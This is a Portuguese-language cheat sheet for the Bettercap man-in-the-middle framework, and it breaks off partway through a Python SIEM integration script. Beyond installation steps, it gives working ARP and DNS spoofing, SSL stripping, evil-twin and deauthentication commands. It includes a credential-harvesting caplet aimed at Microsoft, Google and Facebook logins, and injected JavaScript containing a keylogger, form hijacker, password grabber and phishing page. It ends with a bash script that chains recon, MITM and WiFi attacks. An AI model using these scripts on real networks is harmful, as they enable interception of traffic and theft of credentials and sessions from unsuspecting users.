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1337skills 1337skills - Folhas de Dicas

Folha de Dicas do Bettercap

Visão Geral

Bettercap é uma estrutura de reconhecimento de rede e ataque MITM (Man-in-the-Middle) poderosa, modular e portátil, projetada para pesquisadores de segurança, testadores de penetração e administradores de rede. Originalmente desenvolvido como um substituto moderno do Ettercap, o Bettercap evoluiu para uma plataforma abrangente de teste de segurança de rede que combina múltiplos vetores de ataque e técnicas de reconhecimento em uma única estrutura unificada. A ferramenta é escrita em Go, tornando-a altamente portátil e eficiente em diferentes sistemas operacionais e arquiteturas.

A arquitetura modular da estrutura permite que os usuários carreguem e executem módulos específicos para diferentes tipos de ataques de rede e atividades de reconhecimento. O Bettercap suporta uma ampla gama de protocolos e técnicas de ataque, incluindo spoofing de ARP, spoofing de DNS, spoofing de DHCP, ataques sem fio, ataques Bluetooth Low Energy (BLE) e ataques de proxy HTTP/HTTPS. Essa abordagem abrangente o torna uma ferramenta inestimável para profissionais de segurança que precisam avaliar a segurança da rede de múltiplos ângulos e identificar vulnerabilidades em diferentes camadas de rede.

Uma das principais forças do Bettercap é sua interface de usuário baseada na web em tempo real, que fornece um painel intuitivo para monitorar e controlar ataques. A interface web exibe o tráfego de rede ao vivo, credenciais capturadas, hosts descobertos e status de ataque em um formato fácil de entender. Além disso, o Bettercap inclui poderosas capacidades de script através de seu mecanismo JavaScript, permitindo que os usuários criem cenários de ataque personalizados e automatizem procedimentos de teste complexos. Com sua comunidade de desenvolvimento ativa e atualizações regulares, o Bettercap continua a evoluir como uma das estruturas de teste de segurança de rede mais versáteis e eficazes disponíveis.

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Update system packages

sudo apt update && sudo apt upgrade -y

Install required dependencies

sudo apt install -y build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev
git wget curl

Install Go (required for building from source)

wget https://golang.org/dl/go1.21.0.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz echo ‘export PATH=$PATH:/usr/local/go/bin’ >> ~/.bashrc source ~/.bashrc

Verify Go installation

go version

Install Bettercap using Go

go install github.com/bettercap/bettercap@latest

Add Go bin to PATH

echo ‘export PATH=$PATH:$(go env GOPATH)/bin’ >> ~/.bashrc source ~/.bashrc

Alternative: Install pre-compiled binary

wget https://github.com/bettercap/bettercap/releases/latest/download/bettercap_linux_amd64_v2.32.0.zip unzip bettercap_linux_amd64_v2.32.0.zip sudo mv bettercap /usr/local/bin/ sudo chmod +x /usr/local/bin/bettercap

Install UI dependencies (optional)

sudo apt install -y nodejs npm sudo npm install -g @bettercap/ui

Create bettercap user (optional)

sudo useradd -r -s /bin/false bettercap sudo usermod -a -G bettercap $USER

Set capabilities for non-root execution

sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/bettercap

Verify installation

bettercap -version


### CentOS/RHEL Installation

```bash
# Install EPEL repository
sudo yum install -y epel-release

# Install required packages
sudo yum groupinstall -y "Development Tools"
sudo yum install -y libpcap-devel libusb-devel libnetfilter_queue-devel \
    git wget curl

# Install Go
wget https://golang.org/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc
source ~/.bashrc

# Install Bettercap
go install github.com/bettercap/bettercap@latest

# Set capabilities
sudo setcap cap_net_raw,cap_net_admin=eip $(go env GOPATH)/bin/bettercap

# Configure firewall
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --permanent --add-port=443/tcp
sudo firewall-cmd --permanent --add-port=8080/tcp
sudo firewall-cmd --reload

macOS Installation

# Install Homebrew (if not already installed)
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install dependencies
brew install libpcap

# Install Go
brew install go

# Install Bettercap
go install github.com/bettercap/bettercap@latest

# Alternative: Install via Homebrew
brew install bettercap

# Verify installation
bettercap -version

Docker Installation

Running Bettercap in Docker:

# Pull official Bettercap Docker image
docker pull bettercap/bettercap

# Run Bettercap in Docker with network access
docker run -it --rm --privileged --net=host \
    -v $(pwd):/app \
    bettercap/bettercap

# Run with web UI
docker run -it --rm --privileged --net=host \
    -p 80:80 -p 443:443 \
    -v $(pwd):/app \
    bettercap/bettercap \
    -iface eth0 -caplet http-ui

# Create custom Dockerfile
cat > Dockerfile.bettercap ``<< 'EOF'
FROM golang:1.21-alpine AS builder

# Install dependencies
RUN apk add --no-cache git build-base libpcap-dev libusb-dev linux-headers

# Build Bettercap
RUN go install github.com/bettercap/bettercap@latest

FROM alpine:latest

# Install runtime dependencies
RUN apk add --no-cache libpcap libusb iptables

# Copy binary
COPY --from=builder /go/bin/bettercap /usr/local/bin/

# Create working directory
WORKDIR /app

# Expose ports
EXPOSE 80 443 8080

# Default command
CMD ["bettercap"]
EOF

# Build custom image
docker build -f Dockerfile.bettercap -t custom-bettercap .

# Run custom image
docker run -it --rm --privileged --net=host custom-bettercap

Windows Installation

# Install using Chocolatey
choco install golang
choco install git

# Install Bettercap
go install github.com/bettercap/bettercap@latest

# Alternative: Download pre-compiled binary
# Download from: https://github.com/bettercap/bettercap/releases
# Extract to C:\Program Files\Bettercap\

# Install WinPcap or Npcap (required for packet capture)
# Download from: https://npcap.com/

# Add to PATH
$env:PATH += ";C:\Program Files\Bettercap"

# Verify installation
bettercap.exe -version

Basic Usage

Network Discovery

Basic network reconnaissance and discovery:

# Start Bettercap with automatic interface detection
sudo bettercap

# Specify network interface
sudo bettercap -iface eth0

# Enable network discovery
sudo bettercap -iface eth0
>`` net.probe on
> net.show

# Discover hosts with specific probes
> set net.probe.mdns true
> set net.probe.nbns true
> set net.probe.upnp true
> set net.probe.wsd true
> net.probe on

# Show discovered hosts
> hosts.show

# Show network statistics
> net.stats

# Continuous host discovery
> set ticker.period 1
> set ticker.commands "clear; net.show; hosts.show"
> ticker on

# Save discovered hosts
> hosts.save /tmp/discovered_hosts.json

# Load previously saved hosts
> hosts.load /tmp/discovered_hosts.json

ARP Spoofing

Performing ARP spoofing attacks:

# Basic ARP spoofing setup
sudo bettercap -iface eth0

# Enable ARP spoofing for entire subnet
> arp.spoof on

# Target specific hosts
> set arp.spoof.targets 192.168.1.100,192.168.1.101
> arp.spoof on

# Spoof specific gateway
> set arp.spoof.fullduplex false
> set arp.spoof.targets 192.168.1.1
> arp.spoof on

# Monitor ARP spoofing status
> arp.spoof.stats

# Advanced ARP spoofing with custom intervals
> set arp.spoof.interval 1s
> set arp.spoof.silent false
> arp.spoof on

# Whitelist specific hosts (exclude from spoofing)
> set arp.spoof.whitelist 192.168.1.50,192.168.1.51
> arp.spoof on

# Stop ARP spoofing
> arp.spoof off

# Ban specific hosts (disconnect them)
> arp.ban 192.168.1.100
> arp.unban 192.168.1.100

DNS Spoofing

DNS spoofing and redirection:

# Enable DNS spoofing
sudo bettercap -iface eth0
> dns.spoof on

# Spoof specific domains
> set dns.spoof.domains example.com,*.google.com
> set dns.spoof.address 192.168.1.50
> dns.spoof on

# Use custom DNS spoofing rules
> set dns.spoof.hosts /tmp/dns_hosts.txt
> dns.spoof on

# Create custom DNS hosts file
cat > /tmp/dns_hosts.txt << 'EOF'
# Custom DNS spoofing rules
example.com 192.168.1.50
*.facebook.com 192.168.1.51
login.microsoft.com 192.168.1.52
EOF

# Advanced DNS spoofing with logging
> set dns.spoof.silent false
> set dns.spoof.domains *
> dns.spoof on

# Monitor DNS queries
> events.stream on

# Stop DNS spoofing
> dns.spoof off

HTTP/HTTPS Proxy

Setting up HTTP/HTTPS proxy for traffic interception:

# Enable HTTP proxy
sudo bettercap -iface eth0
> http.proxy on

# Enable HTTPS proxy with SSL stripping
> https.proxy on
> set https.proxy.sslstrip true

# Custom proxy port
> set http.proxy.port 8080
> set https.proxy.port 8443
> http.proxy on
> https.proxy on

# Inject custom JavaScript
> set http.proxy.script /tmp/inject.js
> http.proxy on

# Create JavaScript injection script
cat > /tmp/inject.js << 'EOF'
function onRequest(req, res) \\\\{
    log("Request: " + req.Method + " " + req.URL);

    // Log headers
    for (var name in req.Headers) \\\\{
        log("Header: " + name + " = " + req.Headers[name]);
    \\\\}
\\\\}

function onResponse(req, res) \\\\{
    log("Response: " + res.Status + " for " + req.URL);

    // Inject custom content
    if (res.ContentType.indexOf("text/html") == 0) \\\\{
        var body = res.ReadBody();
        var newBody = body.replace("</body>",
            "<script>alert('Injected by Bettercap');</script></body>");
        res.Body = newBody;
    \\\\}
\\\\}
EOF

# Monitor proxy traffic
> events.stream on

# Save captured data
> http.proxy.dump /tmp/http_traffic.log

Advanced Features

Wireless Attacks

WiFi reconnaissance and attacks:

# Enable WiFi monitoring mode (requires compatible adapter)
sudo bettercap -iface wlan0

# Start WiFi reconnaissance
> wifi.recon on

# Show discovered access points
> wifi.show

# Show connected clients
> wifi.show.clients

# Target specific access point
> wifi.recon.channel 6
> set wifi.recon.channel 6
> wifi.recon on

# Deauthentication attack
> set wifi.deauth.targets aa:bb:cc:dd:ee:ff
> wifi.deauth

# Handshake capture
> set wifi.handshakes.file /tmp/handshakes.pcap
> wifi.recon on

# Evil twin attack
> set wifi.ap.ssid "Free WiFi"
> set wifi.ap.bssid aa:bb:cc:dd:ee:ff
> set wifi.ap.channel 6
> wifi.ap

# WPS attacks
> wifi.recon on
> wifi.show
> set wifi.wps.targets aa:bb:cc:dd:ee:ff
> wifi.wps

# Monitor WiFi events
> events.stream on

Bluetooth Low Energy (BLE) Attacks

BLE reconnaissance and attacks:

# Enable BLE reconnaissance
sudo bettercap
> ble.recon on

# Show discovered BLE devices
> ble.show

# Enumerate BLE device services
> ble.enum aa:bb:cc:dd:ee:ff

# Write to BLE characteristics
> ble.write aa:bb:cc:dd:ee:ff 1800 2a00 "payload"

# Clone BLE device
> set ble.clone.target aa:bb:cc:dd:ee:ff
> ble.clone

# Monitor BLE events
> events.stream on

# Save BLE scan results
> ble.save /tmp/ble_devices.json

Custom Caplets

Creating and using custom caplets (automation scripts):

# Create basic reconnaissance caplet
cat > /tmp/recon.cap << 'EOF'
# Basic network reconnaissance caplet

# Set interface
set $ \\\\{by_name eth0\\\\}

# Enable network discovery
set net.probe.mdns true
set net.probe.nbns true
set net.probe.upnp true
net.probe on

# Enable ARP spoofing for entire subnet
arp.spoof on

# Enable DNS spoofing
set dns.spoof.domains *
set dns.spoof.address \\\\{interface.ipv4\\\\}
dns.spoof on

# Enable HTTP proxy
set http.proxy.script /tmp/inject.js
http.proxy on

# Enable HTTPS proxy with SSL stripping
set https.proxy.sslstrip true
https.proxy on

# Start event streaming
events.stream on

# Display status every 5 seconds
set ticker.period 5
set ticker.commands "clear; net.show; hosts.show"
ticker on
EOF

# Run caplet
sudo bettercap -caplet /tmp/recon.cap

# Create advanced MITM caplet
cat > /tmp/mitm.cap << 'EOF'
# Advanced MITM attack caplet

# Variables
set $TARGET 192.168.1.100
set $GATEWAY 192.168.1.1
set $INTERFACE eth0

# Set interface
set $ \\\\{by_name $INTERFACE\\\\}

# Target specific host
set arp.spoof.targets $TARGET
set arp.spoof.fullduplex true
arp.spoof on

# DNS spoofing for specific domains
set dns.spoof.domains facebook.com,*.facebook.com,google.com,*.google.com
set dns.spoof.address \\\\{interface.ipv4\\\\}
dns.spoof on

# HTTP/HTTPS proxy with custom script
set http.proxy.script /tmp/advanced_inject.js
http.proxy on

set https.proxy.sslstrip true
set https.proxy.script /tmp/advanced_inject.js
https.proxy on

# Logging
set http.proxy.dump /tmp/http_dump.log
set https.proxy.dump /tmp/https_dump.log

# Events
events.stream on
EOF

# Create credential harvesting caplet
cat > /tmp/harvest.cap << 'EOF'
# Credential harvesting caplet

# Set interface
set $ \\\\{by_name eth0\\\\}

# ARP spoofing
arp.spoof on

# DNS spoofing to redirect login pages
set dns.spoof.domains login.microsoft.com,accounts.google.com,www.facebook.com
set dns.spoof.address \\\\{interface.ipv4\\\\}
dns.spoof on

# HTTP proxy with credential extraction
set http.proxy.script /tmp/harvest.js
http.proxy on

# HTTPS proxy
set https.proxy.sslstrip true
set https.proxy.script /tmp/harvest.js
https.proxy on

# Start web server for phishing pages
set http.server.path /tmp/phishing
set http.server.port 80
http.server on

events.stream on
EOF

# Run specific caplet
sudo bettercap -caplet /tmp/mitm.cap -iface eth0

JavaScript Modules

Advanced JavaScript modules for custom attacks:

// Advanced HTTP/HTTPS injection script
// File: /tmp/advanced_inject.js

var credentials = [];
var sessions = \\\\{\\\\};

function onLoad() \\\\{
    log("Advanced injection module loaded");
\\\\}

function onRequest(req, res) \\\\{
    var url = req.URL;
    var method = req.Method;
    var host = req.Hostname;

    log("[" + method + "] " + host + url);

    // Log interesting headers
    if (req.Headers["Authorization"]) \\\\{
        log("Authorization header found: " + req.Headers["Authorization"]);
    \\\\}

    if (req.Headers["Cookie"]) \\\\{
        log("Cookies: " + req.Headers["Cookie"]);
        sessions[host] = req.Headers["Cookie"];
    \\\\}

    // Extract POST data for credential harvesting
    if (method == "POST" && req.Body) \\\\{
        var body = req.ReadBody();
        log("POST data: " + body);

        // Look for common credential fields
        if (body.indexOf("password") != -1||body.indexOf("passwd") != -1) \\\\{
            log("Potential credentials captured: " + body);
            credentials.push(\\\\{
                host: host,
                url: url,
                data: body,
                timestamp: new Date().toISOString()
            \\\\});

            // Save credentials to file
            writeFile("/tmp/credentials.json", JSON.stringify(credentials, null, 2));
        \\\\}
    \\\\}
\\\\}

function onResponse(req, res) \\\\{
    var contentType = res.ContentType;
    var url = req.URL;
    var host = req.Hostname;

    log("Response: " + res.Status + " for " + url);

    // Inject into HTML pages
    if (contentType.indexOf("text/html") == 0) \\\\{
        var body = res.ReadBody();

        // Inject keylogger
        var keylogger = `
            <script>
                var keys = [];
                document.addEventListener('keydown', function(e) \\{
                    keys.push(\\{
                        key: e.key,
                        timestamp: new Date().toISOString(),
                        url: window.location.href
                    \\});

                    // Send to attacker server every 50 keystrokes
                    if (keys.length >= 50) \\{
                        fetch('/keylog', \\{
                            method: 'POST',
                            body: JSON.stringify(keys),
                            headers: \\{'Content-Type': 'application/json'\\}
                        \\});
                        keys = [];
                    \\}
                \\});

                // Send on page unload
                window.addEventListener('beforeunload', function() \\{
                    if (keys.length > 0) \\{
                        navigator.sendBeacon('/keylog', JSON.stringify(keys));
                    \\}
                \\});
            </script>
        `;

        // Inject form hijacker
        var formHijacker = `
            <script>
                document.addEventListener('DOMContentLoaded', function() \\{
                    var forms = document.querySelectorAll('form');
                    forms.forEach(function(form) \\{
                        form.addEventListener('submit', function(e) \\{
                            var formData = new FormData(form);
                            var data = \\{\\};
                            for (var pair of formData.entries()) \\{
                                data[pair[0]] = pair[1];
                            \\}

                            fetch('/formdata', \\{
                                method: 'POST',
                                body: JSON.stringify(\\{
                                    url: window.location.href,
                                    data: data,
                                    timestamp: new Date().toISOString()
                                \\}),
                                headers: \\{'Content-Type': 'application/json'\\}
                            \\});
                        \\});
                    \\});
                \\});
            </script>
        `;

        // Inject scripts before closing body tag
        body = body.replace("</body>", keylogger + formHijacker + "</body>");

        // Replace login pages with phishing pages
        if (url.indexOf("login") != -1||url.indexOf("signin") != -1) \\\\{
            body = createPhishingPage(host, url);
        \\\\}

        res.Body = body;
    \\\\}

    // Modify JavaScript files
    if (contentType.indexOf("application/javascript") == 0||
        contentType.indexOf("text/javascript") == 0) \\\\{
        var body = res.ReadBody();

        // Inject malicious code into JavaScript
        var maliciousCode = `
            // Injected by Bettercap
            setInterval(function() \\{
                if (document.querySelector('input[type="password"]')) \\{
                    var passwords = document.querySelectorAll('input[type="password"]');
                    passwords.forEach(function(p) \\{
                        if (p.value) \\{
                            fetch('/password', \\{
                                method: 'POST',
                                body: JSON.stringify(\\{
                                    url: window.location.href,
                                    password: p.value,
                                    timestamp: new Date().toISOString()
                                \\}),
                                headers: \\{'Content-Type': 'application/json'\\}
                            \\});
                        \\}
                    \\});
                \\}
            \\}, 5000);
        `;

        body = maliciousCode + "\n" + body;
        res.Body = body;
    \\\\}
\\\\}

function createPhishingPage(host, url) \\\\{
    return `
        <!DOCTYPE html>
        <html>
        <head>
            <title>Login - $\\{host\\}</title>
            <style>
                body \\{ font-family: Arial, sans-serif; margin: 50px; \\}
                .login-form \\{ max-width: 400px; margin: 0 auto; padding: 20px; border: 1px solid #ddd; \\}
                input \\{ width: 100%; padding: 10px; margin: 10px 0; \\}
                button \\{ width: 100%; padding: 10px; background: #007cba; color: white; border: none; \\}
            </style>
        </head>
        <body>
            <div class="login-form">
                <h2>Sign In</h2>
                <form action="/phish" method="POST">
                    <input type="hidden" name="original_url" value="$\\{url\\}">
                    <input type="text" name="username" placeholder="Username" required>
                    <input type="password" name="password" placeholder="Password" required>
                    <button type="submit">Sign In</button>
                </form>
            </div>
            <script>
                document.querySelector('form').addEventListener('submit', function(e) \\{
                    e.preventDefault();
                    var formData = new FormData(this);
                    var data = \\{\\};
                    for (var pair of formData.entries()) \\{
                        data[pair[0]] = pair[1];
                    \\}

                    fetch('/phish', \\{
                        method: 'POST',
                        body: JSON.stringify(data),
                        headers: \\{'Content-Type': 'application/json'\\}
                    \\}).then(function() \\{
                        window.location.href = data.original_url;
                    \\});
                \\});
            </script>
        </body>
        </html>
    `;
\\\\}

function writeFile(path, content) \\\\{
    // This is a placeholder - actual file writing would need to be implemented
    // in the Bettercap JavaScript engine
    log("Writing to file: " + path);
\\\\}

Network Monitoring

Advanced network monitoring and analysis:

# Create comprehensive monitoring caplet
cat > /tmp/monitor.cap << 'EOF'
# Network monitoring caplet

# Set interface
set $ \\\\{by_name eth0\\\\}

# Enable comprehensive network discovery
set net.probe.mdns true
set net.probe.nbns true
set net.probe.upnp true
set net.probe.wsd true
set net.probe.throttle 100
net.probe on

# Enable packet sniffing
set net.sniff.verbose true
set net.sniff.local true
set net.sniff.filter "tcp port 80 or tcp port 443 or tcp port 21 or tcp port 22"
set net.sniff.output /tmp/captured_packets.pcap
net.sniff on

# Monitor specific protocols
set syn.scan.targets 192.168.1.0/24
set syn.scan.ports 22,80,443,3389,5900
syn.scan

# Enable GPS tracking (if available)
gps on

# Set up event logging
events.stream on
set events.stream.output /tmp/bettercap_events.log

# Display comprehensive status
set ticker.period 10
set ticker.commands "clear; net.show; hosts.show; syn.scan.show"
ticker on
EOF

# Run monitoring caplet
sudo bettercap -caplet /tmp/monitor.cap

# Real-time traffic analysis
sudo bettercap -iface eth0
> set net.sniff.verbose true
> set net.sniff.regexp ".*password.*|.*login.*|.*auth.*"
> net.sniff on

# Protocol-specific monitoring
> set net.sniff.filter "tcp port 21"  # FTP
> set net.sniff.filter "tcp port 23"  # Telnet
> set net.sniff.filter "tcp port 110" # POP3
> set net.sniff.filter "tcp port 143" # IMAP
> net.sniff on

Automation Scripts

Comprehensive Attack Script

#!/bin/bash
# Comprehensive Bettercap automation script

# Configuration
INTERFACE="eth0"
TARGET_NETWORK="192.168.1.0/24"
ATTACK_TYPE="mitm"
OUTPUT_DIR="/tmp/bettercap_$(date +%Y%m%d_%H%M%S)"
LOG_FILE="$OUTPUT_DIR/attack.log"

# Create output directory
mkdir -p "$OUTPUT_DIR"

# Logging function
log_message() \\\\{
    echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"|tee -a "$LOG_FILE"
\\\\}

# Check if running as root
check_root() \\\\{
    if [ "$EUID" -ne 0 ]; then
        echo "This script must be run as root"
        exit 1
    fi
\\\\}

# Check dependencies
check_dependencies() \\\\{
    log_message "Checking dependencies..."

    if ! command -v bettercap >/dev/null 2>&1; then
        log_message "ERROR: Bettercap not found"
        exit 1
    fi

    if ! ip link show "$INTERFACE" >/dev/null 2>&1; then
        log_message "ERROR: Interface $INTERFACE not found"
        exit 1
    fi

    log_message "Dependencies check passed"
\\\\}

# Network reconnaissance
network_recon() \\\\{
    log_message "Starting network reconnaissance..."

    cat > "$OUTPUT_DIR/recon.cap" << EOF
# Network reconnaissance caplet
set \$ \\\\{by_name $INTERFACE\\\\}

# Enable comprehensive discovery
set net.probe.mdns true
set net.probe.nbns true
set net.probe.upnp true
set net.probe.wsd true
net.probe on

# Save discovered hosts
hosts.save $OUTPUT_DIR/discovered_hosts.json

# Port scanning
set syn.scan.targets $TARGET_NETWORK
set syn.scan.ports 22,23,25,53,80,110,143,443,993,995,3389,5900
syn.scan

# Save scan results
syn.scan.save $OUTPUT_DIR/port_scan.json

# Run for 60 seconds
sleep 60

# Stop and exit
net.probe off
quit
EOF

    timeout 120 bettercap -caplet "$OUTPUT_DIR/recon.cap" 2>&1|tee -a "$LOG_FILE"

    log_message "Network reconnaissance completed"
\\\\}

# MITM attack
mitm_attack() \\\\{
    local target="$1"

    log_message "Starting MITM attack against $target..."

    cat > "$OUTPUT_DIR/mitm.cap" << EOF
# MITM attack caplet
set \$ \\\\{by_name $INTERFACE\\\\}

# Target specific host
set arp.spoof.targets $target
set arp.spoof.fullduplex true
arp.spoof on

# DNS spoofing
set dns.spoof.domains *
set dns.spoof.address \\\\{interface.ipv4\\\\}
dns.spoof on

# HTTP proxy with logging
set http.proxy.script $OUTPUT_DIR/inject.js
set http.proxy.dump $OUTPUT_DIR/http_traffic.log
http.proxy on

# HTTPS proxy with SSL stripping
set https.proxy.sslstrip true
set https.proxy.script $OUTPUT_DIR/inject.js
set https.proxy.dump $OUTPUT_DIR/https_traffic.log
https.proxy on

# Packet capture
set net.sniff.output $OUTPUT_DIR/packets.pcap
set net.sniff.verbose false
net.sniff on

# Event logging
events.stream on
set events.stream.output $OUTPUT_DIR/events.log

# Status updates
set ticker.period 30
set ticker.commands "hosts.show; arp.spoof.stats"
ticker on
EOF

    # Create injection script
    cat > "$OUTPUT_DIR/inject.js" << 'EOF'
var credentials = [];

function onRequest(req, res) \\\\{
    log("[REQ] " + req.Method + " " + req.URL);

    if (req.Method == "POST" && req.Body) \\\\{
        var body = req.ReadBody();
        if (body.indexOf("password") != -1||body.indexOf("login") != -1) \\\\{
            log("Potential credentials: " + body);
            credentials.push(\\\\{
                url: req.URL,
                data: body,
                timestamp: new Date().toISOString()
            \\\\});
        \\\\}
    \\\\}
\\\\}

function onResponse(req, res) \\\\{
    if (res.ContentType.indexOf("text/html") == 0) \\\\{
        var body = res.ReadBody();
        var injection = '<script>console.log("Injected by Bettercap");</script>';
        body = body.replace("</body>", injection + "</body>");
        res.Body = body;
    \\\\}
\\\\}
EOF

    # Run MITM attack
    bettercap -caplet "$OUTPUT_DIR/mitm.cap" 2>&1|tee -a "$LOG_FILE" &
    BETTERCAP_PID=$!

    log_message "MITM attack started (PID: $BETTERCAP_PID)"

    # Run for specified duration or until interrupted
    local duration=$\\\\{ATTACK_DURATION:-300\\\\}  # 5 minutes default
    sleep "$duration"

    # Stop attack
    kill $BETTERCAP_PID 2>/dev/null
    log_message "MITM attack stopped"
\\\\}

# WiFi attacks
wifi_attack() \\\\{
    local wifi_interface="$1"

    log_message "Starting WiFi attacks on $wifi_interface..."

    cat > "$OUTPUT_DIR/wifi.cap" << EOF
# WiFi attack caplet
set \$ \\\\{by_name $wifi_interface\\\\}

# WiFi reconnaissance
wifi.recon on

# Save discovered networks
wifi.save $OUTPUT_DIR/wifi_networks.json

# Handshake capture
set wifi.handshakes.file $OUTPUT_DIR/handshakes.pcap

# Run for 5 minutes
sleep 300

# Stop and save
wifi.recon off
quit
EOF

    timeout 360 bettercap -caplet "$OUTPUT_DIR/wifi.cap" 2>&1|tee -a "$LOG_FILE"

    log_message "WiFi attacks completed"
\\\\}

# Generate report
generate_report() \\\\{
    log_message "Generating attack report..."

    local report_file="$OUTPUT_DIR/attack_report.html"

    cat > "$report_file" << EOF
<!DOCTYPE html>
<html>
<head>
    <title>Bettercap Attack Report</title>
    <style>
        body \\\\{ font-family: Arial, sans-serif; margin: 20px; \\\\}
        .section \\\\{ margin: 20px 0; padding: 15px; border: 1px solid #ddd; \\\\}
        .data \\\\{ background: #f5f5f5; padding: 10px; font-family: monospace; \\\\}
        table \\\\{ border-collapse: collapse; width: 100%; \\\\}
        th, td \\\\{ border: 1px solid #ddd; padding: 8px; text-align: left; \\\\}
        th \\\\{ background-color: #f2f2f2; \\\\}
    </style>
</head>
<body>
    <h1>Bettercap Attack Report</h1>
    <p>Generated: $(date)</p>
    <p>Target Network: $TARGET_NETWORK</p>
    <p>Interface: $INTERFACE</p>

    <div class="section">
        <h2>Discovered Hosts</h2>
        <div class="data">
EOF

    if [ -f "$OUTPUT_DIR/discovered_hosts.json" ]; then
        cat "$OUTPUT_DIR/discovered_hosts.json" >> "$report_file"
    else
        echo "No hosts discovered" >> "$report_file"
    fi

    cat >> "$report_file" << EOF
        </div>
    </div>

    <div class="section">
        <h2>Port Scan Results</h2>
        <div class="data">
EOF

    if [ -f "$OUTPUT_DIR/port_scan.json" ]; then
        cat "$OUTPUT_DIR/port_scan.json" >> "$report_file"
    else
        echo "No port scan results" >> "$report_file"
    fi

    cat >> "$report_file" << EOF
        </div>
    </div>

    <div class="section">
        <h2>Captured Traffic Summary</h2>
        <div class="data">
EOF

    if [ -f "$OUTPUT_DIR/http_traffic.log" ]; then
        echo "HTTP Requests: $(wc -l < "$OUTPUT_DIR/http_traffic.log")" >> "$report_file"
    fi

    if [ -f "$OUTPUT_DIR/https_traffic.log" ]; then
        echo "HTTPS Requests: $(wc -l < "$OUTPUT_DIR/https_traffic.log")" >> "$report_file"
    fi

    if [ -f "$OUTPUT_DIR/packets.pcap" ]; then
        echo "Captured Packets: $(tcpdump -r "$OUTPUT_DIR/packets.pcap" 2>/dev/null|wc -l)" >> "$report_file"
    fi

    cat >> "$report_file" << EOF
        </div>
    </div>

    <div class="section">
        <h2>Attack Log</h2>
        <div class="data">
            <pre>$(tail -n 50 "$LOG_FILE")</pre>
        </div>
    </div>
</body>
</html>
EOF

    log_message "Report generated: $report_file"
\\\\}

# Cleanup function
cleanup() \\\\{
    log_message "Cleaning up..."

    # Kill any running Bettercap processes
    pkill -f bettercap 2>/dev/null

    # Reset network settings
    echo 0 > /proc/sys/net/ipv4/ip_forward 2>/dev/null

    log_message "Cleanup completed"
\\\\}

# Signal handlers
trap cleanup EXIT
trap cleanup INT
trap cleanup TERM

# Main execution
main() \\\\{
    log_message "Starting Bettercap automation script"

    check_root
    check_dependencies

    # Enable IP forwarding
    echo 1 > /proc/sys/net/ipv4/ip_forward

    case "$ATTACK_TYPE" in
        "recon")
            network_recon
            ;;
        "mitm")
            network_recon

            # Extract targets from reconnaissance
            if [ -f "$OUTPUT_DIR/discovered_hosts.json" ]; then
                # Get first discovered host as target
                local target=$(grep -o '"ip":"[^"]*"' "$OUTPUT_DIR/discovered_hosts.json"|head -n 1|cut -d'"' -f4)
                if [ -n "$target" ]; then
                    mitm_attack "$target"
                fi
            fi
            ;;
        "wifi")
            wifi_attack "wlan0"
            ;;
        "full")
            network_recon

            if [ -f "$OUTPUT_DIR/discovered_hosts.json" ]; then
                local target=$(grep -o '"ip":"[^"]*"' "$OUTPUT_DIR/discovered_hosts.json"|head -n 1|cut -d'"' -f4)
                if [ -n "$target" ]; then
                    mitm_attack "$target"
                fi
            fi

            # WiFi attacks if interface available
            if ip link show wlan0 >/dev/null 2>&1; then
                wifi_attack "wlan0"
            fi
            ;;
        *)
            log_message "Unknown attack type: $ATTACK_TYPE"
            exit 1
            ;;
    esac

    generate_report
    log_message "Attack completed. Results in: $OUTPUT_DIR"
\\\\}

# Parse command line arguments
while [[ $# -gt 0 ]]; do
    case $1 in
        -i|--interface)
            INTERFACE="$2"
            shift 2
            ;;
        -t|--target)
            TARGET_NETWORK="$2"
            shift 2
            ;;
        -a|--attack)
            ATTACK_TYPE="$2"
            shift 2
            ;;
        -d|--duration)
            ATTACK_DURATION="$2"
            shift 2
            ;;
        -h|--help)
            echo "Usage: $0 [OPTIONS]"
            echo "Options:"
            echo "  -i, --interface IFACE    Network interface (default: eth0)"
            echo "  -t, --target NETWORK     Target network (default: 192.168.1.0/24)"
            echo "  -a, --attack TYPE        Attack type: recon|mitm|wifi|full (default: mitm)"
            echo "  -d, --duration SECONDS   Attack duration (default: 300)"
            echo "  -h, --help               Show this help"
            exit 0
            ;;
        *)
            echo "Unknown option: $1"
            exit 1
            ;;
    esac
done

# Run main function
main

Integration Examples

SIEM Integration

#!/usr/bin/env python3
# Bettercap SIEM integration script

import json
import time
import requests
import subprocess
from datetime import datetime
import logging

class BettercapSIEMIntegration:
    def __init__(self, config):
        self.config = config
        self.setup_logging()

    def setup_logging(self):
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler('/var/log/bettercap_siem.log'),
                logging.StreamHandler()
            ]
        )
        self.logger = logging.getLogger(__name__)

    def parse_bettercap_events(self, events_file):
        """Parse Bettercap events log file"""
        events = []

        try:
            with open(events_file, 'r') as f:
                for line in f:
                    if line.strip():
                        try:
                            event = json.loads(line)
                            events.append(self.normalize_event(event))
                        except json.JSONDecodeError:
                            # Handle non-JSON log lines
                            events.append(self.parse_text_event(line))

        except FileNotFoundError:
            self.logger.error(f"Events file not found: \\\\{events_file\\\\}")

        return events

    def normalize_event(self, event):
        """Normalize Bettercap event to common format"""
        normalized = \\\\{
            'timestamp': event.get('time', datetime.now().isoformat()),
            'source': 'bettercap',
            'event_type': event.get('tag', 'unknown'),
            'severity': self.determine_severity(event),
            'raw_event': event
        \\\\}

        # Extract specific fields based on event type
        tag = event.get('tag', '')

        if tag == 'net.sniff':
            normalized.update(\\\\{
                'src_ip': event.get('data', \\\\{\\\\}).get('src'),
                'dst_ip': event.get('data', \\\\{\\\\}).get('dst'),
                'protocol': event.get('data', \\\\{\\\\}).get('protocol'),
                'payload': event.get('data', \\\\{\\\\}).get('payload')
            \\\\})

        elif tag == 'arp.spoof':
            normalized.update(\\\\{
                'target_ip': event.get('data', \\\\{\\\\}).get('target'),
